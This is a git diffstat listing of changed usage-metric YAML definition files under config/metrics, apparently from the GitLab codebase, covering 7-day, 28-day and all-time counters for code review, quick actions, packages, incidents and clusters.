-rw-r--r--config/metrics/counts_28d/20210413205507_i_testing_summary_widget_total_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210421144352_i_code_review_click_single_file_mode_setting_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210421145818_i_code_review_click_file_browser_setting_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210421145945_i_code_review_click_whitespace_setting_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210422101516_i_code_review_diff_view_inline_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210422101613_i_code_review_diff_view_parallel_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210422101753_i_code_review_file_browser_tree_view_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210422101852_i_code_review_file_browser_list_view_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210422101928_i_code_review_diff_show_whitespace_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210422102010_i_code_review_diff_hide_whitespace_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210422102121_i_code_review_diff_single_file_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210422102202_i_code_review_diff_multiple_files_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210427102618_code_review_category_monthly_active_users.yml1
-rw-r--r--config/metrics/counts_28d/20210427103010_code_review_extension_category_monthly_active_users.yml1
-rw-r--r--config/metrics/counts_28d/20210427103119_code_review_group_monthly_active_users.yml1
-rw-r--r--config/metrics/counts_28d/20210427105033_pipeline_authoring_total_unique_counts_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210427213346_geo_secondary_web_oauth_users.yml1
-rw-r--r--config/metrics/counts_28d/20210514013545_i_code_review_user_resolve_conflict_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210514013549_i_code_review_user_load_conflict_ui_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210514141518_monthly_projects_creation.yml1
-rw-r--r--config/metrics/counts_28d/20210517074859_i_package_helm_deploy_token_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210517075259_i_package_helm_user_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210520111133_total.yml1
-rw-r--r--config/metrics/counts_28d/20210607113556_i_code_review_click_diff_view_setting_monthly.yml1
-rw-r--r--config/metrics/counts_7d/20210201124931_g_project_management_issue_title_changed_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216175010_i_analytics_instance_statistics_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216175014_analytics_total_unique_counts_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216175111_merge_request_action_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216175114_i_source_code_code_intelligence_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216175118_i_code_review_mr_diffs_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216175122_i_code_review_user_single_file_diffs_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216175126_i_code_review_mr_single_file_diffs_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216175130_i_code_review_user_create_mr_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216175134_i_code_review_user_close_mr_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216175138_i_code_review_user_reopen_mr_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216175142_i_code_review_user_merge_mr_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216175146_i_code_review_user_create_mr_comment_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216175150_i_code_review_user_edit_mr_comment_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216175154_i_code_review_user_remove_mr_comment_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216175158_i_code_review_user_add_suggestion_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216175201_i_code_review_user_apply_suggestion_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216180328_g_edit_by_web_ide_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216180332_g_edit_by_sfe_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216180336_g_edit_by_snippet_ide_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216180339_ide_edit_total_unique_counts_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216180422_i_search_total_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216180429_search_total_unique_counts_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216180513_incident_management_alerts_total_unique_counts.yml19
-rw-r--r--config/metrics/counts_7d/20210216180515_incident_management_incidents_total_unique_counts.yml19
-rw-r--r--config/metrics/counts_7d/20210216180528_incident_management_alert_status_changed_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216180532_incident_management_alert_assigned_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216180535_incident_management_alert_todo_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216180539_incident_management_incident_created_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216180543_incident_management_incident_reopened_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216180546_incident_management_incident_closed_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216180550_incident_management_incident_assigned_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216180554_incident_management_incident_todo_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216180558_incident_management_incident_comment_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216180601_incident_management_incident_zoom_meeting_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216180609_incident_management_incident_relate_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216180612_incident_management_incident_unrelate_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216180616_incident_management_incident_change_confidential_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216180620_incident_management_total_unique_counts_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216180623_incident_management_alert_create_incident_weekly.yml20
-rw-r--r--config/metrics/counts_7d/20210216181306_g_project_management_issue_description_changed_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181310_g_project_management_issue_assignee_changed_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181313_g_project_management_issue_made_confidential_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181317_g_project_management_issue_made_visible_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181321_g_project_management_issue_created_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181324_g_project_management_issue_closed_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181328_g_project_management_issue_reopened_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181332_g_project_management_issue_label_changed_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181336_g_project_management_issue_milestone_changed_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181347_g_project_management_issue_cross_referenced_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181350_g_project_management_issue_moved_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181354_g_project_management_issue_related_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181358_g_project_management_issue_unrelated_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181401_g_project_management_issue_marked_as_duplicate_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181405_g_project_management_issue_locked_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181409_g_project_management_issue_unlocked_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181422_g_project_management_issue_designs_added_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181425_g_project_management_issue_designs_modified_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181429_g_project_management_issue_designs_removed_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181433_g_project_management_issue_due_date_changed_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181437_g_project_management_issue_time_estimate_changed_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181440_g_project_management_issue_time_spent_changed_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181444_g_project_management_issue_comment_added_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181448_g_project_management_issue_comment_edited_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181451_g_project_management_issue_comment_removed_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181459_g_project_management_issue_cloned_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181503_issues_edit_total_unique_counts_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181506_i_quickactions_approve_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181510_i_quickactions_assign_single_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181517_i_quickactions_assign_self_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181521_i_quickactions_assign_reviewer_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181525_i_quickactions_award_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181529_i_quickactions_board_move_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181540_i_quickactions_clone_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181543_i_quickactions_close_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181547_i_quickactions_confidential_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181551_i_quickactions_copy_metadata_merge_request_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181554_i_quickactions_copy_metadata_issue_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181558_i_quickactions_create_merge_request_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181602_i_quickactions_done_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181605_i_quickactions_draft_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181609_i_quickactions_due_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181613_i_quickactions_duplicate_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181620_i_quickactions_estimate_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181628_i_quickactions_label_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181631_i_quickactions_lock_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181635_i_quickactions_merge_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181639_i_quickactions_milestone_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181642_i_quickactions_move_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181657_i_quickactions_reassign_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181701_i_quickactions_reassign_reviewer_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181705_i_quickactions_rebase_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181708_i_quickactions_relabel_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181712_i_quickactions_relate_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181719_i_quickactions_remove_due_date_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181727_i_quickactions_remove_estimate_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181734_i_quickactions_remove_milestone_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181742_i_quickactions_remove_time_spent_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181745_i_quickactions_remove_zoom_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181749_i_quickactions_reopen_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181753_i_quickactions_shrug_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181756_i_quickactions_spend_subtract_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181800_i_quickactions_spend_add_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181804_i_quickactions_submit_review_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181808_i_quickactions_subscribe_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181811_i_quickactions_tableflip_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181815_i_quickactions_tag_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181819_i_quickactions_target_branch_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181822_i_quickactions_title_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181826_i_quickactions_todo_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181830_i_quickactions_unassign_specific_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181833_i_quickactions_unassign_all_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181837_i_quickactions_unassign_reviewer_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181841_i_quickactions_unlabel_specific_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181845_i_quickactions_unlabel_all_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181848_i_quickactions_unlock_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181852_i_quickactions_unsubscribe_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181859_i_quickactions_wip_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216181903_i_quickactions_zoom_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216182100_wiki_action_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216182104_design_action_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216182107_project_action_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216182134_i_testing_test_case_parsed_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216183213_product_analytics_test_metrics_union.yml1
-rw-r--r--config/metrics/counts_7d/20210216183215_product_analytics_test_metrics_intersection.yml1
-rw-r--r--config/metrics/counts_7d/20210216184022_g_edit_by_sse_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184045_git_write_action_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184253_i_snippets_show_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184301_o_pipeline_authoring_unique_users_committing_ciconfigfile_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184310_i_code_review_user_toggled_task_item_status_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184320_i_code_review_user_approve_mr_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184324_i_code_review_user_unapprove_mr_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184328_i_code_review_user_resolve_thread_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184332_i_code_review_user_unresolve_thread_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184336_i_code_review_edit_mr_title_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184340_i_code_review_edit_mr_desc_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184351_i_code_review_user_create_review_note_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184355_i_code_review_user_publish_review_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184359_i_code_review_user_create_multiline_mr_comment_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184403_i_code_review_user_edit_multiline_mr_comment_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184407_i_code_review_user_remove_multiline_mr_comment_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184416_i_code_review_user_assigned_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184420_i_code_review_user_marked_as_draft_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184424_i_code_review_user_unmarked_as_draft_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184428_i_code_review_user_review_requested_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184432_i_code_review_user_approval_rule_added_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184436_i_code_review_user_approval_rule_deleted_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184440_i_code_review_user_approval_rule_edited_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184444_i_code_review_user_vs_code_api_request_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184448_i_code_review_user_create_mr_from_issue_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184452_code_review_total_unique_counts_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184515_p_ci_templates_5_min_production_app_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184524_p_ci_templates_aws_cf_deploy_ec2_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184528_p_ci_templates_aws_deploy_ecs_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184557_ci_templates_total_unique_counts_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184805_i_package_composer_deploy_token_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184808_i_package_conan_deploy_token_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184812_i_package_container_deploy_token_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184816_i_package_debian_deploy_token_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184820_i_package_generic_deploy_token_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184824_i_package_golang_deploy_token_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184828_i_package_maven_deploy_token_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184832_i_package_npm_deploy_token_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184836_i_package_nuget_deploy_token_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184840_i_package_pypi_deploy_token_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184844_i_package_tag_deploy_token_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184848_deploy_token_packages_total_unique_counts_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184852_i_package_composer_user_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184856_i_package_conan_user_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184900_i_package_container_user_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184904_i_package_debian_user_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184908_i_package_generic_user_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184911_i_package_golang_user_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184916_i_package_maven_user_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184919_i_package_npm_user_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184923_i_package_nuget_user_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184927_i_package_pypi_user_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184931_i_package_tag_user_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184935_user_packages_total_unique_counts_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184939_i_ecosystem_jira_service_close_issue_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184943_i_ecosystem_jira_service_cross_reference_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216184955_ecosystem_total_unique_counts_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210301144209_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210302103002_i_ecosystem_slack_service_issue_notification_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210302103539_i_code_review_user_time_estimate_changed_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210302103615_i_code_review_user_time_spent_changed_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210302103629_i_ecosystem_slack_service_push_notification_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210302103755_i_ecosystem_slack_service_deployment_notification_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210302103907_i_ecosystem_slack_service_wiki_page_notification_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210302104007_i_ecosystem_slack_service_merge_request_notification_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210302104047_i_ecosystem_slack_service_note_notification_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210302104144_i_ecosystem_slack_service_tag_push_notification_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210302104556_i_ecosystem_slack_service_confidential_note_notification_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210302104814_i_ecosystem_slack_service_confidential_issue_notification_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210302105258_i_code_review_user_mr_discussion_unlocked_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210302105318_i_code_review_user_mr_discussion_locked_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210302110403_i_code_review_user_milestone_changed_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210302110548_i_code_review_user_labels_changed_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210302114202_i_code_review_user_assignees_changed_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210302114235_i_code_review_user_reviewers_changed_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210303154557_i_quickactions_invite_email_single_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210303154600_i_quickactions_invite_email_multiple_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210303154624_i_package_rubygems_deploy_token_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210303154652_i_package_rubygems_user_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210409095855_users_expanding_secure_security_report_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210409100451_users_expanding_testing_code_quality_report_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210409100628_users_expanding_testing_accessibility_report_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210410012207_i_package_terraform_module_deploy_token_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210410012209_i_package_terraform_module_user_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210413205507_i_testing_summary_widget_total_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210421144349_i_code_review_click_single_file_mode_setting_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210421145814_i_code_review_click_file_browser_setting_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210421145942_i_code_review_click_whitespace_setting_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210422101512_i_code_review_diff_view_inline_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210422101609_i_code_review_diff_view_parallel_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210422101750_i_code_review_file_browser_tree_view_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210422101849_i_code_review_file_browser_list_view_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210422101925_i_code_review_diff_show_whitespace_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210422102007_i_code_review_diff_hide_whitespace_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210422102118_i_code_review_diff_single_file_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210422102159_i_code_review_diff_multiple_files_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210427103328_code_review_group_monthly_active_users.yml1
-rw-r--r--config/metrics/counts_7d/20210427103407_code_review_category_monthly_active_users.yml1
-rw-r--r--config/metrics/counts_7d/20210427103452_code_review_extension_category_monthly_active_users.yml1
-rw-r--r--config/metrics/counts_7d/20210427105030_pipeline_authoring_total_unique_counts_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210514013544_i_code_review_user_load_conflict_ui_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210514013545_i_code_review_user_resolve_conflict_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210517074851_i_package_helm_deploy_token_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210517075252_i_package_helm_user_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210607113552_i_code_review_click_diff_view_setting_weekly.yml1
-rw-r--r--config/metrics/counts_all/20210201124934_deployments.yml1
-rw-r--r--config/metrics/counts_all/20210204124930_servers.yml1
-rw-r--r--config/metrics/counts_all/20210204124932_clusters.yml1
-rw-r--r--config/metrics/counts_all/20210216174832_cycle_analytics_views.yml1
-rw-r--r--config/metrics/counts_all/20210216174846_p_analytics_pipelines.yml1
-rw-r--r--config/metrics/counts_all/20210216174850_p_analytics_valuestream.yml1
-rw-r--r--config/metrics/counts_all/20210216174856_p_analytics_repo.yml1
-rw-r--r--config/metrics/counts_all/20210216174858_i_analytics_cohorts.yml1
-rw-r--r--config/metrics/counts_all/20210216174900_i_analytics_dev_ops_score.yml1
-rw-r--r--config/metrics/counts_all/20210216174902_g_analytics_merge_request.yml1
-rw-r--r--config/metrics/counts_all/20210216174906_i_analytics_instance_statistics.yml1
-rw-r--r--config/metrics/counts_all/20210216174908_analytics_unique_visits_for_any_target.yml1
-rw-r--r--config/metrics/counts_all/20210216175019_projects_with_prometheus_alerts.yml1
-rw-r--r--config/metrics/counts_all/20210216175021_pod_logs_usages_total.yml1
-rw-r--r--config/metrics/counts_all/20210216175024_service_desk_enabled_projects.yml1
-rw-r--r--config/metrics/counts_all/20210216175026_service_desk_issues.yml1
-rw-r--r--config/metrics/counts_all/20210216175037_suggestions.yml1
-rw-r--r--config/metrics/counts_all/20210216175039_merge_requests.yml1
-rw-r--r--config/metrics/counts_all/20210216175041_merge_request_comment.yml1
-rw-r--r--config/metrics/counts_all/20210216175043_merge_request_create.yml1
-rw-r--r--config/metrics/counts_all/20210216175045_merge_requests.yml1
-rw-r--r--config/metrics/counts_all/20210216175053_suggestions.yml1
-rw-r--r--config/metrics/counts_all/20210216175206_merged_merge_requests_using_approval_rules.yml1
-rw-r--r--config/metrics/counts_all/20210216175229_auto_devops_enabled.yml1
-rw-r--r--config/metrics/counts_all/20210216175231_auto_devops_disabled.yml1
-rw-r--r--config/metrics/counts_all/20210216175232_clusters.yml1
-rw-r--r--config/metrics/counts_all/20210216175234_clusters_enabled.yml1
-rw-r--r--config/metrics/counts_all/20210216175236_project_clusters_enabled.yml1
-rw-r--r--config/metrics/counts_all/20210216175238_group_clusters_enabled.yml1
-rw-r--r--config/metrics/counts_all/20210216175240_instance_clusters_enabled.yml1
-rw-r--r--config/metrics/counts_all/20210216175242_clusters_disabled.yml1
-rw-r--r--config/metrics/counts_all/20210216175244_project_clusters_disabled.yml1
-rw-r--r--config/metrics/counts_all/20210216175246_group_clusters_disabled.yml1
-rw-r--r--config/metrics/counts_all/20210216175248_instance_clusters_disabled.yml1
-rw-r--r--config/metrics/counts_all/20210216175250_clusters_platforms_eks.yml1
-rw-r--r--config/metrics/counts_all/20210216175251_clusters_platforms_gke.yml1
-rw-r--r--config/metrics/counts_all/20210216175253_clusters_platforms_user.yml1
-rw-r--r--config/metrics/counts_all/20210216175255_clusters_applications_helm.yml1
-rw-r--r--config/metrics/counts_all/20210216175257_clusters_applications_ingress.yml1
-rw-r--r--config/metrics/counts_all/20210216175259_clusters_applications_cert_managers.yml1
-rw-r--r--config/metrics/counts_all/20210216175301_clusters_applications_crossplane.yml1
-rw-r--r--config/metrics/counts_all/20210216175303_clusters_applications_prometheus.yml1
-rw-r--r--config/metrics/counts_all/20210216175305_clusters_applications_runner.yml1
-rw-r--r--config/metrics/counts_all/20210216175307_clusters_applications_knative.yml1
-rw-r--r--config/metrics/counts_all/20210216175309_clusters_applications_elastic_stack.yml1
-rw-r--r--config/metrics/counts_all/20210216175310_clusters_applications_jupyter.yml1
-rw-r--r--config/metrics/counts_all/20210216175312_clusters_applications_cilium.yml1
-rw-r--r--config/metrics/counts_all/20210216175314_clusters_management_project.yml1
-rw-r--r--config/metrics/counts_all/20210216175320_projects_with_terraform_reports.yml1
-rw-r--r--config/metrics/counts_all/20210216175322_projects_with_terraform_states.yml1
-rw-r--r--config/metrics/counts_all/20210216175324_terraform_reports.yml1
-rw-r--r--config/metrics/counts_all/20210216175326_terraform_states.yml1
-rw-r--r--config/metrics/counts_all/20210216175329_clusters_applications_cert_managers.yml1
-rw-r--r--config/metrics/counts_all/20210216175331_clusters_applications_helm.yml1
-rw-r--r--config/metrics/counts_all/20210216175333_clusters_applications_ingress.yml1
-rw-r--r--config/metrics/counts_all/20210216175335_clusters_applications_knative.yml1
-rw-r--r--config/metrics/counts_all/20210216175337_clusters_management_project.yml1
-rw-r--r--config/metrics/counts_all/20210216175339_clusters_disabled.yml1
-rw-r--r--config/metrics/counts_all/20210216175341_clusters_enabled.yml1
-rw-r--r--config/metrics/counts_all/20210216175343_clusters_platforms_gke.yml1
-rw-r--r--config/metrics/counts_all/20210216175345_clusters_platforms_eks.yml1
-rw-r--r--config/metrics/counts_all/20210216175346_clusters_platforms_user.yml1
-rw-r--r--config/metrics/counts_all/20210216175348_instance_clusters_disabled.yml1
-rw-r--r--config/metrics/counts_all/20210216175350_instance_clusters_enabled.yml1
-rw-r--r--config/metrics/counts_all/20210216175352_group_clusters_disabled.yml1
-rw-r--r--config/metrics/counts_all/20210216175354_group_clusters_enabled.yml1
-rw-r--r--config/metrics/counts_all/20210216175356_project_clusters_disabled.yml1
-rw-r--r--config/metrics/counts_all/20210216175358_project_clusters_enabled.yml1
-rw-r--r--config/metrics/counts_all/20210216175403_projects_with_prometheus_alerts.yml1
-rw-r--r--config/metrics/counts_all/20210216175442_ingress_modsecurity_packets_processed.yml1
-rw-r--r--config/metrics/counts_all/20210216175444_ingress_modsecurity_packets_anomalous.yml1
-rw-r--r--config/metrics/counts_all/20210216175446_network_policy_forwards.yml1
-rw-r--r--config/metrics/counts_all/20210216175448_network_policy_drops.yml1
